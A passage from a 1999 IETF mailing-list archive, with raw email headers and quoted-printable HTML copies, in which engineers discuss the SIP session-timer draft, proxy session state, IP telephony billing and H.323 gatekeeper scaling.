SIZE=3D1 FACE=3D"Arial">Tom-PT Taylor =
[SMTP:taylor@nortelnetworks.com]</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Friday, February 12, 1999 1:45 PM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">'confctrl@ISI.EDU'; =
'iptel@lists.research.bell-labs.com'</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">RE: RE: =
draft-ietf-mmusic-sip-session-timer-00.txt</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">The =
conversation is interesting, but is there any chance it could be</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">directed to =
one list (say confctrl) rather than two? My mail client is</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">ending up =
putting two copies of each message into each of the two</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">sub-folders.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">---------</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">This message =
came from the IETF IPTEL Working Group Mailing List.</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BE5955.6AD00524--

From confctrl-owner  Tue Feb 16 06:32:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA23125
	for confctrl-outgoing; Tue, 16 Feb 1999 06:32:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA23120
	for <confctrl@zephyr.isi.edu>; Tue, 16 Feb 1999 06:32:02 -0800 (PST)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA08109
	for <confctrl@isi.edu>; Tue, 16 Feb 1999 06:32:01 -0800 (PST)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id OAA03737; Tue, 16 Feb 1999 14:28:34 GMT
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2232.9)
	id <15QL1FV4>; Tue, 16 Feb 1999 14:31:26 -0000
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D857741A@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'Pat.Calhoun@Eng.Sun.COM'" <Pat.Calhoun@Eng.Sun.COM>
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Tue, 16 Feb 1999 14:31:17 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE59B9.08731376"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE59B9.08731376
Content-Type: text/plain;
	charset="iso-8859-1"

	

> -----Original Message-----
> From:	Pat.Calhoun@Eng.Sun.COM [SMTP:Pat.Calhoun@Eng.Sun.COM]
> Sent:	Friday, February 12, 1999 2:46 PM
> To:	Donovan, Steven R. (MCI); Jonathan Rosenberg;
> 'Pat.Calhoun@Eng.Sun.COM'
> Cc:	Douglas Clowes; 'confctrl@ISI.EDU';
> 'iptel@lists.research.bell-labs.com'
> Subject:	RE: draft-ietf-mmusic-sip-session-timer-00.txt
> 
> 
> >This is an interesting discussion, however I'm not sure that we are going
> to
> >get answers to the questions that Pat is asking.  Only time will tell how
> >services providers make money off of IP based telephony services.
> >
> >However, this is not the purpose of proposing the addition of the session
> >timer to the SIP protocol.  The primary purpose is to give the stateful
> SIP
> >Proxy Server a method of determining the validity of the individual
> sessions
> >for which it is keeping state.
> >
> >Are there comments on the mechanisms proposed in the session-timer draft?
> 
> Yes, and I appologize for side-tracking the whole thread. Is there anyway
> that we could have shorter INVITEs (perhaps the SIP Server can determine
> the length of a session), and have the SIP Client re-register with the 
> server periodically, such as:
> 
>    SIP Client --------- INVITE ------------> SIP Server
>                (some stuff happens here)
>    SIP Client < ------- ACK (3 mins) ------- SIP Server
>    (2 mins 45 seconds pass, enough to allow for retransmissions)
>    SIP Client ---------- FOOBAR -----------> SIP Server
>    (where FOOBAR is some message that refreshes the session)
> 
> This would allow the SIP Server to have soft-state and time out any
> sessions
> that have not been re-registered (or foobar'ed in the above example).
> 
	The SIP Session Timer draft allows the server to time out sessions
that have not been extended.  The FOOBAR process is a re-INVITE with a new
session-expires header.  The only difference is that the initial INVITE has
the clients requesting duration, where your proposal has the model of the
SIP server specifying the initial duration.

	The question of the softness or hardness of the state is up the SIP
server implementation.

	I suppose one optimization to the current draft is to give the SIP
Server the ability to specify an acceptable session time in the situations
where the client either doesn't specify a duration or when the client
specifies an unacceptable (too long) duration.

> PatC
> >
> >Steve
> >
> >> -----Original Message-----
> >> From:	Pat.Calhoun@Eng.Sun.COM [SMTP:Pat.Calhoun@Eng.Sun.COM]
> >> Sent:	Friday, February 12, 1999 9:39 AM
> >> To:	Jonathan Rosenberg; Pat.Calhoun@Eng.Sun.COM
> >> Cc:	Donovan, Steven R. (MCI);
> 'iptel@lists.research.bell-labs.com';
> >> 'confctrl@ISI.EDU'; Douglas Clowes
> >> Subject:	Re: draft-ietf-mmusic-sip-session-timer-00.txt
> >> 
> >> 
> >> >Patrice Calhoun wrote:
> >> >> 
> >> >> My only concern here is how does the service provider offer a
> service
> >> *and*
> >> >> make at least enough money to recover the capital costs (of course,
> >> certain
> >> >> providers may want to cover many additional costs, which is outside
> the
> >> scope
> >> >> of this discussion :).
> >> >
> >> >It comes back to the same question thats been brought up here on
> >> >numerous occassions - what are you billing for? SIP provides the setup
> >> >services, not the transport services. So, it makes sense for a SIP
> >> >server to charge for what it actually does - set the call up. It
> really
> >> >doesn't make sense, I don't think, to try to bill by the minute for
> the
> >> >SIP part of the call, since its really a transaction service. SIP is
> >> >only one part of the picture, though. There is also transport service
> -
> >> >diffserv prioritization, for example. A service provider can happily
> >> >charge by the minute,bit, packet, or whatever here.
> >> >
> >> 
> >> This is perhaps my mis-understanding. I have been working with the TIA
> >> recently
> >> and they have adopted MobileIP/DIAMETER for the next generation
> cellular
> >> data networks. When one considers voice over IP using IP cellular
> phones,
> >> one
> >> quickly wonders how the charging will really work. Yes, it is true that
> >> one
> >> will charge for network access, but conceivably, one could also charge
> for
> >> calls as well. This is especially true if these calls span providers.
> >> 
> >> Perhaps I have all of this wrong. I understand that charging for an
> LDAP
> >> query cannot amount to much, and perhaps that is all bundled as part of
> >> the
> >> access charge. Are there any providers on this list that have an idea
> on
> >> how
> >> they will actually bill for these services?
> >> 
> >> PatC
> >> 
> >> 
> >> ---------
> >> This message came from the IETF IPTEL Working Group Mailing List.
> 

------_=_NextPart_001_01BE59B9.08731376
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>RE: draft-ietf-mmusic-sip-session-timer-00.txt</TITLE>
</HEAD>
<BODY>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
</P>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Pat.Calhoun@Eng.Sun.COM =
[SMTP:Pat.Calhoun@Eng.Sun.COM]</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Friday, February 12, 1999 2:46 PM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Donovan, Steven R. (MCI); Jonathan Rosenberg; =
'Pat.Calhoun@Eng.Sun.COM'</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Douglas Clowes; 'confctrl@ISI.EDU'; =
'iptel@lists.research.bell-labs.com'</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">RE: =
draft-ietf-mmusic-sip-session-timer-00.txt</FONT>
</P>
<BR>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;This is an =
interesting discussion, however I'm not sure that we are going =
to</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;get =
answers to the questions that Pat is asking.&nbsp; Only time will tell =
how</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;services =
providers make money off of IP based telephony services.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;However, =
this is not the purpose of proposing the addition of the session</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;timer to =
the SIP protocol.&nbsp; The primary purpose is to give the stateful =
SIP</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;Proxy =
Server a method of determining the validity of the individual =
sessions</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;for which =
it is keeping state.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;Are there =
comments on the mechanisms proposed in the session-timer draft?</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Yes, and I =
appologize for side-tracking the whole thread. Is there anyway</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">that we could =
have shorter INVITEs (perhaps the SIP Server can determine</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">the length of =
a session), and have the SIP Client re-register with the </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">server =
periodically, such as:</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
SIP Client --------- INVITE ------------&gt; SIP Server</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp; (some stuff happens here)</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
SIP Client &lt; ------- ACK (3 mins) ------- SIP Server</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
(2 mins 45 seconds pass, enough to allow for retransmissions)</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
SIP Client ---------- FOOBAR -----------&gt; SIP Server</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
(where FOOBAR is some message that refreshes the session)</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">This would =
allow the SIP Server to have soft-state and time out any =
sessions</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">that have not =
been re-registered (or foobar'ed in the above example).</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">The SIP Session =
Timer draft allows the server to time out sessions that have not been =
extended.&nbsp; The FOOBAR process is a re-INVITE with a new =
session-expires header.&nbsp; The only difference is that the initial =
INVITE has the clients requesting duration, where your proposal has the =
model of the SIP server specifying the initial duration.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">The question of =
the softness or hardness of the state is up the SIP server =
implementation.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">I suppose one =
optimization to the current draft is to give the SIP Server the ability =
to specify an acceptable session time in the situations where the =
client either doesn't specify a duration or when the client specifies =
an unacceptable (too long) duration.</FONT></P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">PatC</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;Steve</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
-----Original Message-----</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
From:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pat.Calhoun@Eng.Sun.COM =
[SMTP:Pat.Calhoun@Eng.Sun.COM]</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
Sent:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Friday, February 12, =
1999 9:39 AM</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
To:&nbsp; Jonathan Rosenberg; Pat.Calhoun@Eng.Sun.COM</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
Cc:&nbsp; Donovan, Steven R. (MCI); =
'iptel@lists.research.bell-labs.com';</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
'confctrl@ISI.EDU'; Douglas Clowes</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
Subject:&nbsp;&nbsp;&nbsp;&nbsp; Re: =
draft-ietf-mmusic-sip-session-timer-00.txt</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;Patrice Calhoun wrote:</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;&gt; My only concern here is how does the service provider offer a =
service</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
*and*</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;&gt; make at least enough money to recover the capital costs (of =
course,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
certain</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;&gt; providers may want to cover many additional costs, which is =
outside the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
scope</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;&gt; of this discussion :).</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;It comes back to the same question thats been brought up here =
on</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;numerous occassions - what are you billing for? SIP provides the =
setup</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;services, not the transport services. So, it makes sense for a =
SIP</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;server to charge for what it actually does - set the call up. It =
really</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;doesn't make sense, I don't think, to try to bill by the minute for =
the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;SIP part of the call, since its really a transaction service. SIP is=
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;only one part of the picture, though. There is also transport =
service -</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;diffserv prioritization, for example. A service provider can =
happily</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;charge by the minute,bit, packet, or whatever here.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&gt;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; This =
is perhaps my mis-understanding. I have been working with the =
TIA</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
recently</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; and =
they have adopted MobileIP/DIAMETER for the next generation =
cellular</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; data =
networks. When one considers voice over IP using IP cellular =
phones,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
one</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
quickly wonders how the charging will really work. Yes, it is true =
that</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
one</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; will =
charge for network access, but conceivably, one could also charge =
for</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
calls as well. This is especially true if these calls span =
providers.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
Perhaps I have all of this wrong. I understand that charging for an =
LDAP</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
query cannot amount to much, and perhaps that is all bundled as part =
of</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
access charge. Are there any providers on this list that have an idea =
on</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
how</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; they =
will actually bill for these services?</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
PatC</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
---------</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; This =
message came from the IETF IPTEL Working Group Mailing List.</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BE59B9.08731376--

From confctrl-owner  Tue Feb 16 07:00:52 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA23827
	for confctrl-outgoing; Tue, 16 Feb 1999 07:00:52 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA23822
	for <confctrl@zephyr.isi.edu>; Tue, 16 Feb 1999 07:00:51 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA09265
	for <confctrl@ISI.EDU>; Tue, 16 Feb 1999 07:00:50 -0800 (PST)
Received: from cosexch002.mcit.com (cosexch002.mcit.com [166.37.27.89])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id OAA17726; Tue, 16 Feb 1999 14:59:52 GMT
Received: by cosexch002.mcit.com with Internet Mail Service (5.5.2232.9)
	id <1Z7003AY>; Tue, 16 Feb 1999 07:55:40 -0700
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D857741B@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'Douglas Clowes'" <dclowes@ozemail.com.au>,
        Francois Menard Distribution List Management Account
	 <fm-listproc@mediatrix.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Tue, 16 Feb 1999 07:40:07 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE59BC.6AA71F76"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE59BC.6AA71F76
Content-Type: text/plain

	...<snip>

> IRR is being used in H.323 to determine if the endpoint is still alive,
> but
> the preference seems to be heading toward gatekeeper routed calls. Here,
> you have a TCP connection through the gatekeeper for session control, but
> media still goes direct.
> 
	Doesn't this have some real scaling and performance problems?  I
assume that this requires setting up a TCP connection per call attempt and
limits the number of sessions that a single gatekeeper can handle to the
number of simultaneous TCP connections that the gatekeeper can handle.

> >-=Francois=-
> >fmenard@mediatrix.com
> >
> 
> Douglas

------_=_NextPart_001_01BE59BC.6AA71F76
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>RE: draft-ietf-mmusic-sip-session-timer-00.txt</TITLE>
</HEAD>
<BODY>
<UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Fixedsys">...&lt;snip&gt;</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">IRR is being =
used in H.323 to determine if the endpoint is still alive, but</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">the =
preference seems to be heading toward gatekeeper routed calls. =
Here,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">you have a =
TCP connection through the gatekeeper for session control, but</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">media still =
goes direct.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Doesn't this have =
some real scaling and performance problems?&nbsp; I assume that this =
requires setting up a TCP connection per call attempt and limits the =
number of sessions that a single gatekeeper can handle to the number of =
simultaneous TCP connections that the gatekeeper can handle.</FONT></P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;-=3DFrancois=3D-</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;fmenard@mediatrix.com</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Douglas</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BE59BC.6AA71F76--

From confctrl-owner  Tue Feb 16 07:35:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA24894
	for confctrl-outgoing; Tue, 16 Feb 1999 07:35:18 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24889
	for <confctrl@zephyr.isi.edu>; Tue, 16 Feb 1999 07:35:17 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA11009
	for <confctrl@ISI.EDU>; Tue, 16 Feb 1999 07:35:16 -0800 (PST)
Received: from Eng.Sun.COM (engmail4 [129.144.134.6]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id HAA24054; Tue, 16 Feb 1999 07:34:42 -0800
Received: from hsmpka.eng.sun.com (phys-hsmpka.Eng.Sun.COM [129.146.121.37])
	by Eng.Sun.COM (SMI-8.6/SMI-5.3) with SMTP id HAA29697;
	Tue, 16 Feb 1999 07:34:39 -0800
Received: from hsmpka.eng.sun.com by hsmpka.eng.sun.com (SMI-8.6/SMI-SVR4)
	id HAA26159; Tue, 16 Feb 1999 07:34:16 -0800
From: Pat.Calhoun@Eng.Sun.COM (Patrice Calhoun)
Message-Id: <199902161534.HAA26159@hsmpka.eng.sun.com>
Date: Tue, 16 Feb 1999 07:29:46 -0800
To: "Dean Willis" <Dean.Willis@MCI.COM>,
        "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@MCI.COM>,
        <Pat.Calhoun@Eng.Sun.COM>
Cc: <iptel@lists.research.bell-labs.com>, <confctrl@ISI.EDU>,
        "Douglas Clowes" <dclowes@ozemail.com.au>
Reply-To: <Pat.Calhoun@Eng.Sun.COM>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
X-Mailer: Sun NetMail 2.2.5
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Ahah! Finally back on track.
>
>Pat Calhoun asked
>> Steve Donovan said:
>> >Are there comments on the mechanisms proposed in the
>> session-timer draft?
>>
>> Yes, and I appologize for side-tracking the whole thread. Is
>> there anyway
>> that we could have shorter INVITEs (perhaps the SIP Server
>> can determine
>> the length of a session), and have the SIP Client re-register
>> with the
>> server periodically, such as:
>>
>>    SIP Client --------- INVITE ------------> SIP Server
>>                (some stuff happens here)
>>    SIP Client < ------- ACK (3 mins) ------- SIP Server
>>    (2 mins 45 seconds pass, enough to allow for retransmissions)
>>    SIP Client ---------- FOOBAR -----------> SIP Server
>>    (where FOOBAR is some message that refreshes the session)
>>
>
>The problem with this approach is that the SIP server (read, proxy) to
>which the client REGISTERs may well not be the one with the
>state-keeping probem.
>
>Some calls might be signalled:
>
>C-P1-P2-P3-P4-P5-P6-S
>
>Maybe C registers with P1 and S registers with P6. REGISTERS are
>targeted at the proxy acting as a location server -- they don't get
>proxied along the chain.
>
>Assume P4 has to keep state, because it is a firewall and needs to know
>when to tear the ports down. P4 never sees a register, just the
>INVITE-OK-ACK sequence. Maybe P4 sees a BYE at the end of the call, or
>maybe C and S just get turned off . . .
>
>How does P4 know when to close the ports? It can't. The timer parameter
>gives it a way to expire the sessions . . . alternative to probing the
>endpoints.
>
